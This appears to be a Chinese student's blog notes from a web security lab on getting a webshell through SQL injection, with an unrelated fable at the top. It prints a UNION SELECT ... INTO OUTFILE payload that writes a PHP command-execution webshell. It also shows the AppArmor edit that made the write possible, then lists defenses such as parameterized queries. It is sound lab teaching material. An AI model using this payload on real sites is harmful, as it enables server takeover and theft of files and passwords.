Web安全实验课-4(sql 注入)
·
有一只羊,自己洗好了澡,自己脱好了毛,最后撒上香料,走到狼的面前,祈求狼不要吃她。狼吃完了羊以后,把骨头扔给了狗,狗还舍不得吃,舔的津津有味。那只羊到死都觉得,狗都不配舔她的骨头。

sql注入获取webshell
寻找sql注入页面,操作数据库的地方
向网站写入sql语句
' union select 1,2, '<?php system($_GET["cmd"]);?>' into outfile '/var/www/myzoo/cmd.php'
发现mysql没有写入权限,于是在apparmor中为mysql添加权限
vi /etc/apparmor.d/usr.sbin.mysqld
在文件最后添加:/var/www/myzoo/* rw,
然后重启apache,重启apparmor
重新注入
- 一般来说,嗅探1,2需要采用benchmark函数,根据返回时间来判断数据库表结构
- 本网站是直接暴露数据库表结构的
于是在网站根目录写入了cmd.php文件
利用此文件执行我们想要做的事情
比如:查看服务器所有文件密码或者其他的

防御sql注入获取webshell:
1.如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。与此相反,用户的输入的内容必须进行过滤,或者使用参数化的语句来传递用户输入的变量。
2.普通用户和系统用户权限设置
3.正则表达式验证用户输入,等等。
hash冲突dos网站攻击下次更新了,我也没搞懂,为啥hash冲突放在这里讲 ?
更多推荐
所有评论(0)